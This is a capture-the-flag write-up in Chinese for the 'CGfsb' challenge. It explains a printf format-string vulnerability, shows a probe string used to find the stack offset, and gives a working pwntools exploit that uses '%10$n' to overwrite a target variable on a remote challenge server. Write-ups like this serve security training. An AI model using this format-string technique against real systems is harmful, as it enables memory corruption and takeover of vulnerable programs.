0%

CGfsb

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

0x01

checksec

image-20200701134552007

IDA

image-20200701134654445

运行效果

image-20200701135436139

0x02

分析程序,需要在pwnme的值等于8的时候才能得到flag,但是pwnme的值是不可控的

image-20200701150616945

观察pwnme上面的代码,用到了printf(&s),可以使用格式化字符串漏洞改pwnme的值

格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
printf(s);
这种写法是危险的,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作

因为当我们输入printf可识别的格式化字符串时,printf会将其作为格式化字符串进行解析并输出


printf("格式化字符串",参数...)
格式化字符串:
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

通过格式化字符串的漏洞把值写入pwnme中

在massage处输入,下面的printf函数会帮我们把内容输出

AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x

image-20200701155303660

41414141就是我们输入的四个A的十六进制,偏移量是10

pwnme需要等于8,可以使用四个a凑字数

0x03

exp构造

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote('220.249.52.133',36905)

pwnme_addr = 0x0804A068
payload = p32(pwnme_addr)+'aaaa'+'%10$n'

p.recvuntil('please tell me your name:')
p.sendline('1')
p.recvuntil('leave your message please:')
p.sendline(payload)
p.interactive()

image-20200701162834635